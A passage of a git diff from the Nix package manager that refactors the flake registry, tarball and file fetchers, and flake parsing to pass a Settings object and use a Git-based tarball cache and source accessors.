"") { - return std::make_shared(Registry::Global); // empty registry + return std::make_shared(settings, Registry::Global); // empty registry } if (!hasPrefix(path, "/")) { - auto storePath = downloadFile(store, path, "flake-registry.json", false).storePath; + auto storePath = downloadFile(store, path, "flake-registry.json").storePath; if (auto store2 = store.dynamic_pointer_cast()) store2->addPermRoot(storePath, getCacheDir() + "/nix/flake-registry.json"); path = store->toRealPath(storePath); } - return Registry::read(path, Registry::Global); + return Registry::read(settings, path, Registry::Global); }(); return reg; } -Registries getRegistries(ref store) +Registries getRegistries(const Settings & settings, ref store) { Registries registries; - registries.push_back(getFlagRegistry()); - registries.push_back(getUserRegistry()); - registries.push_back(getSystemRegistry()); - registries.push_back(getGlobalRegistry(store)); + registries.push_back(getFlagRegistry(settings)); + registries.push_back(getUserRegistry(settings)); + registries.push_back(getSystemRegistry(settings)); + registries.push_back(getGlobalRegistry(settings, store)); return registries; } @@ -193,7 +192,7 @@ std::pair lookupInRegistries( n++; if (n > 100) throw Error("cycle detected in flake registry for '%s'", input.to_string()); - for (auto & registry : getRegistries(store)) { + for (auto & registry : getRegistries(*input.settings, store)) { // FIXME: O(n) for (auto & entry : registry->entries) { if (entry.exact) { diff --git a/src/libfetchers/registry.hh b/src/libfetchers/registry.hh index 260a2c460..0d68ac395 100644 --- a/src/libfetchers/registry.hh +++ b/src/libfetchers/registry.hh @@ -1,4 +1,5 @@ #pragma once +///@file #include "types.hh" #include "fetchers.hh" @@ -9,6 +10,8 @@ namespace nix::fetchers { struct Registry { + const Settings & settings; + enum RegistryType { Flag = 0, User = 1, @@ -28,11 +31,13 @@ struct Registry std::vector entries; - Registry(RegistryType type) - : type(type) + Registry(const Settings & settings, RegistryType type) + : settings{settings} + , type{type} { } static std::shared_ptr read( + const Settings & settings, const Path & path, RegistryType type); void write(const Path & path); @@ -47,13 +52,13 @@ struct Registry typedef std::vector> Registries; -std::shared_ptr getUserRegistry(); +std::shared_ptr getUserRegistry(const Settings & settings); -std::shared_ptr getCustomRegistry(const Path & p); +std::shared_ptr getCustomRegistry(const Settings & settings, const Path & p); Path getUserRegistryPath(); -Registries getRegistries(ref store); +Registries getRegistries(const Settings & settings, ref store); void overrideRegistry( const Input & from, diff --git a/src/libfetchers/store-path-accessor.cc b/src/libfetchers/store-path-accessor.cc new file mode 100644 index 000000000..528bf2a4f --- /dev/null +++ b/src/libfetchers/store-path-accessor.cc @@ -0,0 +1,15 @@ +#include "store-path-accessor.hh" +#include "store-api.hh" + +namespace nix { + +ref makeStorePathAccessor(ref store, const StorePath & storePath) +{ + // FIXME: should use `store->getFSAccessor()` + auto root = std::filesystem::path{store->toRealPath(storePath)}; + auto accessor = makeFSSourceAccessor(root); + accessor->setPathDisplay(root.string()); + return accessor; +} + +} diff --git a/src/libfetchers/store-path-accessor.hh b/src/libfetchers/store-path-accessor.hh new file mode 100644 index 000000000..989cf3fa2 --- /dev/null +++ b/src/libfetchers/store-path-accessor.hh @@ -0,0 +1,14 @@ +#pragma once + +#include "source-path.hh" + +namespace nix { + +class StorePath; +class Store; + +ref makeStorePathAccessor(ref store, const StorePath & storePath); + +SourcePath getUnfilteredRootPath(CanonPath path); + +} diff --git a/src/libfetchers/tarball.cc b/src/libfetchers/tarball.cc index e9686262a..dd4f3b780 100644 --- a/src/libfetchers/tarball.cc +++ b/src/libfetchers/tarball.cc @@ -1,12 +1,14 @@ +#include "tarball.hh" #include "fetchers.hh" #include "cache.hh" #include "filetransfer.hh" -#include "globals.hh" #include "store-api.hh" #include "archive.hh" #include "tarfile.hh" #include "types.hh" -#include "split.hh" +#include "store-path-accessor.hh" +#include "store-api.hh" +#include "git-utils.hh" namespace nix::fetchers { @@ -14,25 +16,24 @@ DownloadFileResult downloadFile( ref store, const std::string & url, const std::string & name, - bool locked, const Headers & headers) { // FIXME: check store - Attrs inAttrs({ - {"type", "file"}, + Cache::Key key{"file", {{ {"url", url}, {"name", name}, - }); + }}}; - auto cached = getCache()->lookupExpired(store, inAttrs); + auto cached = getCache()->lookupStorePath(key, *store); auto useCached = [&]() -> DownloadFileResult { return { .storePath = std::move(cached->storePath), - .etag = getStrAttr(cached->infoAttrs, "etag"), - .effectiveUrl = getStrAttr(cached->infoAttrs, "url") + .etag = getStrAttr(cached->value, "etag"), + .effectiveUrl = getStrAttr(cached->value, "url"), + .immutableUrl = maybeGetStrAttr(cached->value, "immutableUrl"), }; }; @@ -42,7 +43,7 @@ DownloadFileResult downloadFile( FileTransferRequest request(url); request.headers = headers; if (cached) - request.expectedETag = getStrAttr(cached->infoAttrs, "etag"); + request.expectedETag = getStrAttr(cached->value, "etag"); FileTransferResult res; try { res = getFileTransfer()->download(request); @@ -54,13 +55,13 @@ DownloadFileResult downloadFile( throw; } - // FIXME: write to temporary file. - Attrs infoAttrs({ {"etag", res.etag}, - {"url", res.effectiveUri}, }); + if (res.immutableUrl) + infoAttrs.emplace("immutableUrl", *res.immutableUrl); + std::optional storePath; if (res.cached) { @@ -69,113 +70,160 @@ DownloadFileResult downloadFile( } else { StringSink sink; dumpString(res.data, sink); - auto hash = hashString(htSHA256, res.data); + auto hash = hashString(HashAlgorithm::SHA256, res.data); ValidPathInfo info { - store->makeFixedOutputPath(FileIngestionMethod::Flat, hash, name), - hashString(htSHA256, sink.s), + *store, + name, + FixedOutputInfo { + .method = FileIngestionMethod::Flat, + .hash = hash, + .references = {}, + }, + hashString(HashAlgorithm::SHA256, sink.s), }; info.narSize = sink.s.size(); - info.ca = FixedOutputHash { - .method = FileIngestionMethod::Flat, - .hash = hash, - }; - auto source = StringSource(sink.s); + auto source = StringSource { sink.s }; store->addToStore(info, source, NoRepair, NoCheckSigs); storePath = std::move(info.path); } - getCache()->add( - store, - inAttrs, - infoAttrs, - *storePath, - locked); - - if (url != res.effectiveUri) - getCache()->add( - store, - { - {"type", "file"}, - {"url", res.effectiveUri}, - {"name", name}, - }, - infoAttrs, - *storePath, - locked); + /* Cache metadata for all URLs in the redirect chain. */ + for (auto & url : res.urls) { + key.second.insert_or_assign("url", url); + infoAttrs.insert_or_assign("url", *res.urls.rbegin()); + getCache()->upsert(key, *store, infoAttrs, *storePath); + } return { .storePath = std::move(*storePath), .etag = res.etag, - .effectiveUrl = res.effectiveUri, + .effectiveUrl = *res.urls.rbegin(), + .immutableUrl = res.immutableUrl, }; } -std::pair downloadTarball( - ref store, +static DownloadTarballResult downloadTarball_( const std::string & url, - const std::string & name, - bool locked, const Headers & headers) { - Attrs inAttrs({ - {"type", "tarball"}, - {"url", url}, - {"name", name}, - }); + Cache::Key cacheKey{"tarball", {{"url", url}}}; - auto cached = getCache()->lookupExpired(store, inAttrs); + auto cached = getCache()->lookupExpired(cacheKey); + + auto attrsToResult = [&](const Attrs & infoAttrs) + { + auto treeHash = getRevAttr(infoAttrs, "treeHash"); + return DownloadTarballResult { + .treeHash = treeHash, + .lastModified = (time_t) getIntAttr(infoAttrs, "lastModified"), + .immutableUrl = maybeGetStrAttr(infoAttrs, "immutableUrl"), + .accessor = getTarballCache()->getAccessor(treeHash, false), + }; + }; + + if (cached && !getTarballCache()->hasObject(getRevAttr(cached->value, "treeHash"))) + cached.reset(); if (cached && !cached->expired) - return { - Tree { .actualPath = store->toRealPath(cached->storePath), .storePath = std::move(cached->storePath) }, - getIntAttr(cached->infoAttrs, "lastModified") - }; + /* We previously downloaded this tarball and it's younger than + `tarballTtl`, so no need to check the server. */ + return attrsToResult(cached->value); - auto res = downloadFile(store, url, name, locked, headers); + auto _res = std::make_shared>(); - std::optional unpackedStorePath; - time_t lastModified; - - if (cached && res.etag != "" && getStrAttr(cached->infoAttrs, "etag") == res.etag) { - unpackedStorePath = std::move(cached->storePath); - lastModified = getIntAttr(cached->infoAttrs, "lastModified"); - } else { - Path tmpDir = createTempDir(); - AutoDelete autoDelete(tmpDir, true); - unpackTarfile(store->toRealPath(res.storePath), tmpDir); - auto members = readDirectory(tmpDir); - if (members.size() != 1) - throw nix::Error("tarball '%s' contains an unexpected number of top-level files", url); - auto topDir = tmpDir + "/" + members.begin()->name; - lastModified = lstat(topDir).st_mtime; - unpackedStorePath = store->addToStore(name, topDir, FileIngestionMethod::Recursive, htSHA256, defaultPathFilter, NoRepair); - } - - Attrs infoAttrs({ - {"lastModified", uint64_t(lastModified)}, - {"etag", res.etag}, + auto source = sinkToSource([&](Sink & sink) { + FileTransferRequest req(url); + req.expectedETag = cached ? getStrAttr(cached->value, "etag") : ""; + getFileTransfer()->download(std::move(req), sink, + [_res](FileTransferResult r) + { + *_res->lock() = r; + }); }); - getCache()->add( - store, - inAttrs, - infoAttrs, - *unpackedStorePath, - locked); + // TODO: fall back to cached value if download fails. - return { - Tree { .actualPath = store->toRealPath(*unpackedStorePath), .storePath = std::move(*unpackedStorePath) }, - lastModified, - }; + auto act = std::make_unique(*logger, lvlInfo, actUnknown, + fmt("unpacking '%s' into the Git cache", url)); + + AutoDelete cleanupTemp; + + /* Note: if the download is cached, `importTarball()` will receive + no data, which causes it to import an empty tarball. */ + auto archive = + hasSuffix(toLower(parseURL(url).path), ".zip") + ? ({ + /* In streaming mode, libarchive doesn't handle + symlinks in zip files correctly (#10649). So write + the entire file to disk so libarchive can access it + in random-access mode. */ + auto [fdTemp, path] = createTempFile("nix-zipfile"); + cleanupTemp.reset(path); + debug("downloading '%s' into '%s'...", url, path); + { + FdSink sink(fdTemp.get()); + source->drainInto(sink); + } + TarArchive{path}; + }) + : TarArchive{*source}; + auto tarballCache = getTarballCache(); + auto parseSink = tarballCache->getFileSystemObjectSink(); + auto lastModified = unpackTarfileToSink(archive, *parseSink); + + act.reset(); + + auto res(_res->lock()); + + Attrs infoAttrs; + + if (res->cached) { + /* The server says that the previously downloaded version is + still current. */ + infoAttrs = cached->value; + } else { + infoAttrs.insert_or_assign("etag", res->etag); + infoAttrs.insert_or_assign("treeHash", + tarballCache->dereferenceSingletonDirectory(parseSink->sync()).gitRev()); + infoAttrs.insert_or_assign("lastModified", uint64_t(lastModified)); + if (res->immutableUrl) + infoAttrs.insert_or_assign("immutableUrl", *res->immutableUrl); + } + + /* Insert a cache entry for every URL in the redirect chain. */ + for (auto & url : res->urls) { + cacheKey.second.insert_or_assign("url", url); + getCache()->upsert(cacheKey, infoAttrs); + } + + // FIXME: add a cache entry for immutableUrl? That could allow + // cache poisoning. + + return attrsToResult(infoAttrs); +} + +ref downloadTarball( + ref store, + const Settings & settings, + const std::string & url) +{ + /* Go through Input::getAccessor() to ensure that the resulting + accessor has a fingerprint. */ + fetchers::Attrs attrs; + attrs.insert_or_assign("type", "tarball"); + attrs.insert_or_assign("url", url); + + auto input = Input::fromAttrs(settings, std::move(attrs)); + + return input.getAccessor(store).first; } // An input scheme corresponding to a curl-downloadable resource. struct CurlInputScheme : InputScheme { - virtual const std::string inputType() const = 0; const std::set transportUrlSchemes = {"file", "http", "https"}; - const bool hasTarballExtension(std::string_view path) const + bool hasTarballExtension(std::string_view path) const { return hasSuffix(path, ".zip") || hasSuffix(path, ".tar") || hasSuffix(path, ".tgz") || hasSuffix(path, ".tar.gz") @@ -183,37 +231,70 @@ struct CurlInputScheme : InputScheme || hasSuffix(path, ".tar.zst"); } - virtual bool isValidURL(const ParsedURL & url) const = 0; + virtual bool isValidURL(const ParsedURL & url, bool requireTree) const = 0; - std::optional inputFromURL(const ParsedURL & url) const override + static const std::set specialParams; + + std::optional inputFromURL( + const Settings & settings, + const ParsedURL & _url, bool requireTree) const override { - if (!isValidURL(url)) + if (!isValidURL(_url, requireTree)) return std::nullopt; - Input input; + Input input{settings}; - auto urlWithoutApplicationScheme = url; - urlWithoutApplicationScheme.scheme = parseUrlScheme(url.scheme).transport; + auto url = _url; + + url.scheme = parseUrlScheme(url.scheme).transport; - input.attrs.insert_or_assign("type", inputType()); - input.attrs.insert_or_assign("url", urlWithoutApplicationScheme.to_string()); auto narHash = url.query.find("narHash"); if (narHash != url.query.end()) input.attrs.insert_or_assign("narHash", narHash->second); + + if (auto i = get(url.query, "rev")) + input.attrs.insert_or_assign("rev", *i); + + if (auto i = get(url.query, "revCount")) + if (auto n = string2Int(*i)) + input.attrs.insert_or_assign("revCount", *n); + + if (auto i = get(url.query, "lastModified")) + if (auto n = string2Int(*i)) + input.attrs.insert_or_assign("lastModified", *n); + + /* The URL query parameters serve two roles: specifying fetch + settings for Nix itself, and arbitrary data as part of the + HTTP request. Now that we've processed the Nix-specific + attributes above, remove them so we don't also send them as + part of the HTTP request. */ + for (auto & param : allowedAttrs()) + url.query.erase(param); + + input.attrs.insert_or_assign("type", std::string { schemeName() }); + input.attrs.insert_or_assign("url", url.to_string()); return input; } - std::optional inputFromAttrs(const Attrs & attrs) const override + StringSet allowedAttrs() const override { - auto type = maybeGetStrAttr(attrs, "type"); - if (type != inputType()) return {}; + return { + "type", + "url", + "narHash", + "name", + "unpack", + "rev", + "revCount", + "lastModified", + }; + } - std::set allowedNames = {"type", "url", "narHash", "name", "unpack"}; - for (auto & [name, value] : attrs) - if (!allowedNames.count(name)) - throw Error("unsupported %s input attribute '%s'", *type, name); - - Input input; + std::optional inputFromAttrs( + const Settings & settings, + const Attrs & attrs) const override + { + Input input{settings}; input.attrs = attrs; //input.locked = (bool) maybeGetStrAttr(input.attrs, "hash"); @@ -226,55 +307,98 @@ struct CurlInputScheme : InputScheme // NAR hashes are preferred over file hashes since tar/zip // files don't have a canonical representation. if (auto narHash = input.getNarHash()) - url.query.insert_or_assign("narHash", narHash->to_string(SRI, true)); + url.query.insert_or_assign("narHash", narHash->to_string(HashFormat::SRI, true)); return url; } - bool hasAllInfo(const Input & input) const override + bool isLocked(const Input & input) const override { - return true; + return (bool) input.getNarHash(); } - }; struct FileInputScheme : CurlInputScheme { - const std::string inputType() const override { return "file"; } + std::string_view schemeName() const override { return "file"; } - bool isValidURL(const ParsedURL & url) const override + bool isValidURL(const ParsedURL & url, bool requireTree) const override { auto parsedUrlScheme = parseUrlScheme(url.scheme); return transportUrlSchemes.count(std::string(parsedUrlScheme.transport)) && (parsedUrlScheme.application - ? parsedUrlScheme.application.value() == inputType() - : !hasTarballExtension(url.path)); + ? parsedUrlScheme.application.value() == schemeName() + : (!requireTree && !hasTarballExtension(url.path))); } - std::pair fetch(ref store, const Input & input) override + std::pair, Input> getAccessor(ref store, const Input & _input) const override { - auto file = downloadFile(store, getStrAttr(input.attrs, "url"), input.getName(), false); - return {std::move(file.storePath), input}; + auto input(_input); + + /* Unlike TarballInputScheme, this stores downloaded files in + the Nix store directly, since there is little deduplication + benefit in using the Git cache for single big files like + tarballs. */ + auto file = downloadFile(store, getStrAttr(input.attrs, "url"), input.getName()); + + auto narHash = store->queryPathInfo(file.storePath)->narHash; + input.attrs.insert_or_assign("narHash", narHash.to_string(HashFormat::SRI, true)); + + auto accessor = makeStorePathAccessor(store, file.storePath); + + accessor->setPathDisplay("«" + input.to_string() + "»"); + + return {accessor, input}; } }; struct TarballInputScheme : CurlInputScheme { - const std::string inputType() const override { return "tarball"; } + std::string_view schemeName() const override { return "tarball"; } - bool isValidURL(const ParsedURL & url) const override + bool isValidURL(const ParsedURL & url, bool requireTree) const override { auto parsedUrlScheme = parseUrlScheme(url.scheme); return transportUrlSchemes.count(std::string(parsedUrlScheme.transport)) && (parsedUrlScheme.application - ? parsedUrlScheme.application.value() == inputType() - : hasTarballExtension(url.path)); + ? parsedUrlScheme.application.value() == schemeName() + : (requireTree || hasTarballExtension(url.path))); } - std::pair fetch(ref store, const Input & input) override + std::pair, Input> getAccessor(ref store, const Input & _input) const override { - auto tree = downloadTarball(store, getStrAttr(input.attrs, "url"), input.getName(), false).first; - return {std::move(tree.storePath), input}; + auto input(_input); + + auto result = downloadTarball_(getStrAttr(input.attrs, "url"), {}); + + result.accessor->setPathDisplay("«" + input.to_string() + "»"); + + if (result.immutableUrl) { + auto immutableInput = Input::fromURL(*input.settings, *result.immutableUrl); + // FIXME: would be nice to support arbitrary flakerefs + // here, e.g. git flakes. + if (immutableInput.getType() != "tarball") + throw Error("tarball 'Link' headers that redirect to non-tarball URLs are not supported"); + input = immutableInput; + } + + if (result.lastModified && !input.attrs.contains("lastModified")) + input.attrs.insert_or_assign("lastModified", uint64_t(result.lastModified)); + + input.attrs.insert_or_assign("narHash", + getTarballCache()->treeHashToNarHash(result.treeHash).to_string(HashFormat::SRI, true)); + + return {result.accessor, input}; + } + + std::optional getFingerprint(ref store, const Input & input) const override + { + if (auto narHash = input.getNarHash()) + return narHash->to_string(HashFormat::SRI, true); + else if (auto rev = input.getRev()) + return rev->gitRev(); + else + return std::nullopt; } }; diff --git a/src/libfetchers/tarball.hh b/src/libfetchers/tarball.hh new file mode 100644 index 000000000..2042041d5 --- /dev/null +++ b/src/libfetchers/tarball.hh @@ -0,0 +1,50 @@ +#pragma once + +#include + +#include "hash.hh" +#include "path.hh" +#include "ref.hh" +#include "types.hh" + +namespace nix { +class Store; +struct SourceAccessor; +} + +namespace nix::fetchers { + +struct Settings; + +struct DownloadFileResult +{ + StorePath storePath; + std::string etag; + std::string effectiveUrl; + std::optional immutableUrl; +}; + +DownloadFileResult downloadFile( + ref store, + const std::string & url, + const std::string & name, + const Headers & headers = {}); + +struct DownloadTarballResult +{ + Hash treeHash; + time_t lastModified; + std::optional immutableUrl; + ref accessor; +}; + +/** + * Download and import a tarball into the Git cache. The result is the + * Git tree hash of the root directory. + */ +ref downloadTarball( + ref store, + const Settings & settings, + const std::string & url); + +} diff --git a/src/libflake/.version b/src/libflake/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/libflake/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/src/libflake/build-utils-meson b/src/libflake/build-utils-meson new file mode 120000 index 000000000..5fff21bab --- /dev/null +++ b/src/libflake/build-utils-meson @@ -0,0 +1 @@ +../../build-utils-meson \ No newline at end of file diff --git a/src/libexpr/flake/config.cc b/src/libflake/flake/config.cc similarity index 86% rename from src/libexpr/flake/config.cc rename to src/libflake/flake/config.cc index 89ddbde7e..e526cdddf 100644 --- a/src/libexpr/flake/config.cc +++ b/src/libflake/flake/config.cc @@ -1,6 +1,7 @@ +#include "users.hh" +#include "config-global.hh" +#include "flake/settings.hh" #include "flake.hh" -#include "globals.hh" -#include "fetch-settings.hh" #include @@ -29,9 +30,9 @@ static void writeTrustedList(const TrustedList & trustedList) writeFile(path, nlohmann::json(trustedList).dump()); } -void ConfigFile::apply() +void ConfigFile::apply(const Settings & flakeSettings) { - std::set whitelist{"bash-prompt", "bash-prompt-prefix", "bash-prompt-suffix", "flake-registry"}; + std::set whitelist{"bash-prompt", "bash-prompt-prefix", "bash-prompt-suffix", "flake-registry", "commit-lock-file-summary", "commit-lockfile-summary"}; for (auto & [name, value] : settings) { @@ -46,11 +47,11 @@ void ConfigFile::apply() else if (auto* b = std::get_if>(&value)) valueS = b->t ? "true" : "false"; else if (auto ss = std::get_if>(&value)) - valueS = concatStringsSep(" ", *ss); // FIXME: evil + valueS = dropEmptyInitThenConcatStringsSep(" ", *ss); // FIXME: evil else assert(false); - if (!whitelist.count(baseName) && !nix::fetchSettings.acceptFlakeConfig) { + if (!whitelist.count(baseName) && !flakeSettings.acceptFlakeConfig) { bool trusted = false; auto trustedList = readTrustedList(); auto tlname = get(trustedList, name); diff --git a/src/libexpr/flake/flake.cc b/src/libflake/flake/flake.cc similarity index 57% rename from src/libexpr/flake/flake.cc rename to src/libflake/flake/flake.cc index 105d32467..fd1183514 100644 --- a/src/libexpr/flake/flake.cc +++ b/src/libflake/flake/flake.cc @@ -1,5 +1,7 @@ +#include "terminal.hh" #include "flake.hh" #include "eval.hh" +#include "eval-settings.hh" #include "lockfile.hh" #include "primops.hh" #include "eval-inline.hh" @@ -7,6 +9,9 @@ #include "fetchers.hh" #include "finally.hh" #include "fetch-settings.hh" +#include "flake/settings.hh" +#include "value-to-json.hh" +#include "local-fs-store.hh" namespace nix { @@ -14,7 +19,7 @@ using namespace flake; namespace flake { -typedef std::pair FetchedFlake; +typedef std::pair FetchedFlake; typedef std::vector> FlakeCache; static std::optional lookupInFlakeCache( @@ -33,7 +38,7 @@ static std::optional lookupInFlakeCache( return std::nullopt; } -static std::tuple fetchOrSubstituteTree( +static std::tuple fetchOrSubstituteTree( EvalState & state, const FlakeRef & originalRef, bool allowLookup, @@ -60,16 +65,16 @@ static std::tuple fetchOrSubstituteTree( flakeCache.push_back({originalRef, *fetched}); } - auto [tree, lockedRef] = *fetched; + auto [storePath, lockedRef] = *fetched; debug("got tree '%s' from '%s'", - state.store->printStorePath(tree.storePath), lockedRef); + state.store->printStorePath(storePath), lockedRef); - state.allowPath(tree.storePath); + state.allowPath(storePath); - assert(!originalRef.input.getNarHash() || tree.storePath == originalRef.input.computeStorePath(*state.store)); + assert(!originalRef.input.getNarHash() || storePath == originalRef.input.computeStorePath(*state.store)); - return {std::move(tree), resolvedRef, lockedRef}; + return {std::move(storePath), resolvedRef, lockedRef}; } static void forceTrivialValue(EvalState & state, Value & value, const PosIdx pos) @@ -93,7 +98,7 @@ static std::map parseFlakeInputs( const std::optional & baseDir, InputPath lockRootPath); static FlakeInput parseFlakeInput(EvalState & state, - const std::string & inputName, Value * value, const PosIdx pos, + std::string_view inputName, Value * value, const PosIdx pos, const std::optional & baseDir, InputPath lockRootPath) { expectType(state, nAttrs, *value, pos); @@ -108,51 +113,67 @@ static FlakeInput parseFlakeInput(EvalState & state, fetchers::Attrs attrs; std::optional url; - for (nix::Attr attr : *(value->attrs)) { + for (auto & attr : *value->attrs()) { try { if (attr.name == sUrl) { expectType(state, nString, *attr.value, attr.pos); - url = attr.value->string.s; + url = attr.value->string_view(); attrs.emplace("url", *url); } else if (attr.name == sFlake) { expectType(state, nBool, *attr.value, attr.pos); - input.isFlake = attr.value->boolean; + input.isFlake = attr.value->boolean(); } else if (attr.name == sInputs) { input.overrides = parseFlakeInputs(state, attr.value, attr.pos, baseDir, lockRootPath); } else if (attr.name == sFollows) { expectType(state, nString, *attr.value, attr.pos); - auto follows(parseInputPath(attr.value->string.s)); + auto follows(parseInputPath(attr.value->c_str())); follows.insert(follows.begin(), lockRootPath.begin(), lockRootPath.end()); input.follows = follows; } else { + // Allow selecting a subset of enum values + #pragma GCC diagnostic push + #pragma GCC diagnostic ignored "-Wswitch-enum" switch (attr.value->type()) { case nString: - attrs.emplace(state.symbols[attr.name], attr.value->string.s); + attrs.emplace(state.symbols[attr.name], attr.value->c_str()); break; case nBool: - attrs.emplace(state.symbols[attr.name], Explicit { attr.value->boolean }); + attrs.emplace(state.symbols[attr.name], Explicit { attr.value->boolean() }); break; - case nInt: - attrs.emplace(state.symbols[attr.name], (long unsigned int)attr.value->integer); + case nInt: { + auto intValue = attr.value->integer().value; + + if (intValue < 0) { + state.error("negative value given for flake input attribute %1%: %2%", state.symbols[attr.name], intValue).debugThrow(); + } + + attrs.emplace(state.symbols[attr.name], uint64_t(intValue)); break; + } default: - throw TypeError("flake input attribute '%s' is %s while a string, Boolean, or integer is expected", - state.symbols[attr.name], showType(*attr.value)); + if (attr.name == state.symbols.create("publicKeys")) { + experimentalFeatureSettings.require(Xp::VerifiedFetches); + NixStringContext emptyContext = {}; + attrs.emplace(state.symbols[attr.name], printValueAsJSON(state, true, *attr.value, pos, emptyContext).dump()); + } else + state.error("flake input attribute '%s' is %s while a string, Boolean, or integer is expected", + state.symbols[attr.name], showType(*attr.value)).debugThrow(); } + #pragma GCC diagnostic pop } } catch (Error & e) { e.addTrace( state.positions[attr.pos], - hintfmt("while evaluating flake attribute '%s'", state.symbols[attr.name])); + HintFmt("while evaluating flake attribute '%s'", state.symbols[attr.name])); throw; } } if (attrs.count("type")) try { - input.ref = FlakeRef::fromAttrs(attrs); + input.ref = FlakeRef::fromAttrs(state.fetchSettings, attrs); } catch (Error & e) { - e.addTrace(state.positions[pos], hintfmt("while evaluating flake input")); + e.addTrace(state.positions[pos], HintFmt("while evaluating flake input")); throw; } else { @@ -160,11 +181,11 @@ static FlakeInput parseFlakeInput(EvalState & state, if (!attrs.empty()) throw Error("unexpected flake input attribute '%s', at %s", attrs.begin()->first, state.positions[pos]); if (url) - input.ref = parseFlakeRef(*url, baseDir, true, input.isFlake); + input.ref = parseFlakeRef(state.fetchSettings, *url, baseDir, true, input.isFlake); } if (!input.follows && !input.ref) - input.ref = FlakeRef::fromAttrs({{"type", "indirect"}, {"id", inputName}}); + input.ref = FlakeRef::fromAttrs(state.fetchSettings, {{"type", "indirect"}, {"id", std::string(inputName)}}); return input; } @@ -177,7 +198,7 @@ static std::map parseFlakeInputs( expectType(state, nAttrs, *value, pos); - for (nix::Attr & inputAttr : *(*value).attrs) { + for (auto & inputAttr : *value->attrs()) { inputs.emplace(state.symbols[inputAttr.name], parseFlakeInput(state, state.symbols[inputAttr.name], @@ -190,6 +211,107 @@ static std::map parseFlakeInputs( return inputs; } +static Flake readFlake( + EvalState & state, + const FlakeRef & originalRef, + const FlakeRef & resolvedRef, + const FlakeRef & lockedRef, + const SourcePath & rootDir, + const InputPath & lockRootPath) +{ + auto flakePath = rootDir / CanonPath(resolvedRef.subdir) / "flake.nix"; + + // NOTE evalFile forces vInfo to be an attrset because mustBeTrivial is true. + Value vInfo; + state.evalFile(flakePath, vInfo, true); + + Flake flake { + .originalRef = originalRef, + .resolvedRef = resolvedRef, + .lockedRef = lockedRef, + .path = flakePath, + }; + + if (auto description = vInfo.attrs()->get(state.sDescription)) { + expectType(state, nString, *description->value, description->pos); + flake.description = description->value->c_str(); + } + + auto sInputs = state.symbols.create("inputs"); + + if (auto inputs = vInfo.attrs()->get(sInputs)) + flake.inputs = parseFlakeInputs(state, inputs->value, inputs->pos, flakePath.parent().path.abs(), lockRootPath); // FIXME + + auto sOutputs = state.symbols.create("outputs"); + + if (auto outputs = vInfo.attrs()->get(sOutputs)) { + expectType(state, nFunction, *outputs->value, outputs->pos); + + if (outputs->value->isLambda() && outputs->value->payload.lambda.fun->hasFormals()) { + for (auto & formal : outputs->value->payload.lambda.fun->formals->formals) { + if (formal.name != state.sSelf) + flake.inputs.emplace(state.symbols[formal.name], FlakeInput { + .ref = parseFlakeRef(state.fetchSettings, std::string(state.symbols[formal.name])) + }); + } + } + + } else + throw Error("flake '%s' lacks attribute 'outputs'", resolvedRef); + + auto sNixConfig = state.symbols.create("nixConfig"); + + if (auto nixConfig = vInfo.attrs()->get(sNixConfig)) { + expectType(state, nAttrs, *nixConfig->value, nixConfig->pos); + + for (auto & setting : *nixConfig->value->attrs()) { + forceTrivialValue(state, *setting.value, setting.pos); + if (setting.value->type() == nString) + flake.config.settings.emplace( + state.symbols[setting.name], + std::string(state.forceStringNoCtx(*setting.value, setting.pos, ""))); + else if (setting.value->type() == nPath) { + NixStringContext emptyContext = {}; + flake.config.settings.emplace( + state.symbols[setting.name], + state.coerceToString(setting.pos, *setting.value, emptyContext, "", false, true, true).toOwned()); + } + else if (setting.value->type() == nInt) + flake.config.settings.emplace( + state.symbols[setting.name], + state.forceInt(*setting.value, setting.pos, "").value); + else if (setting.value->type() == nBool) + flake.config.settings.emplace( + state.symbols[setting.name], + Explicit { state.forceBool(*setting.value, setting.pos, "") }); + else if (setting.value->type() == nList) { + std::vector ss; + for (auto elem : setting.value->listItems()) { + if (elem->type() != nString) + state.error("list element in flake configuration setting '%s' is %s while a string is expected", + state.symbols[setting.name], showType(*setting.value)).debugThrow(); + ss.emplace_back(state.forceStringNoCtx(*elem, setting.pos, "")); + } + flake.config.settings.emplace(state.symbols[setting.name], ss); + } + else + state.error("flake configuration setting '%s' is %s", + state.symbols[setting.name], showType(*setting.value)).debugThrow(); + } + } + + for (auto & attr : *vInfo.attrs()) { + if (attr.name != state.sDescription && + attr.name != sInputs && + attr.name != sOutputs && + attr.name != sNixConfig) + throw Error("flake '%s' has an unsupported attribute '%s', at %s", + resolvedRef, state.symbols[attr.name], state.positions[attr.pos]); + } + + return flake; +} + static Flake getFlake( EvalState & state, const FlakeRef & originalRef, @@ -197,109 +319,10 @@ static Flake getFlake( FlakeCache & flakeCache, InputPath lockRootPath) { - auto [sourceInfo, resolvedRef, lockedRef] = fetchOrSubstituteTree( + auto [storePath, resolvedRef, lockedRef] = fetchOrSubstituteTree( state, originalRef, allowLookup, flakeCache); - // Guard against symlink attacks. - auto flakeDir = canonPath(sourceInfo.actualPath + "/" + lockedRef.subdir, true); - auto flakeFile = canonPath(flakeDir + "/flake.nix", true); - if (!isInDir(flakeFile, sourceInfo.actualPath)) - throw Error("'flake.nix' file of flake '%s' escapes from '%s'", - lockedRef, state.store->printStorePath(sourceInfo.storePath)); - - Flake flake { - .originalRef = originalRef, - .resolvedRef = resolvedRef, - .lockedRef = lockedRef, - .sourceInfo = std::make_shared(std::move(sourceInfo)) - }; - - if (!pathExists(flakeFile)) - throw Error("source tree referenced by '%s' does not contain a '%s/flake.nix' file", lockedRef, lockedRef.subdir); - - Value vInfo; - state.evalFile(flakeFile, vInfo, true); // FIXME: symlink attack - - expectType(state, nAttrs, vInfo, state.positions.add({flakeFile}, 1, 1)); - - if (auto description = vInfo.attrs->get(state.sDescription)) { - expectType(state, nString, *description->value, description->pos); - flake.description = description->value->string.s; - } - - auto sInputs = state.symbols.create("inputs"); - - if (auto inputs = vInfo.attrs->get(sInputs)) - flake.inputs = parseFlakeInputs(state, inputs->value, inputs->pos, flakeDir, lockRootPath); - - auto sOutputs = state.symbols.create("outputs"); - - if (auto outputs = vInfo.attrs->get(sOutputs)) { - expectType(state, nFunction, *outputs->value, outputs->pos); - - if (outputs->value->isLambda() && outputs->value->lambda.fun->hasFormals()) { - for (auto & formal : outputs->value->lambda.fun->formals->formals) { - if (formal.name != state.sSelf) - flake.inputs.emplace(state.symbols[formal.name], FlakeInput { - .ref = 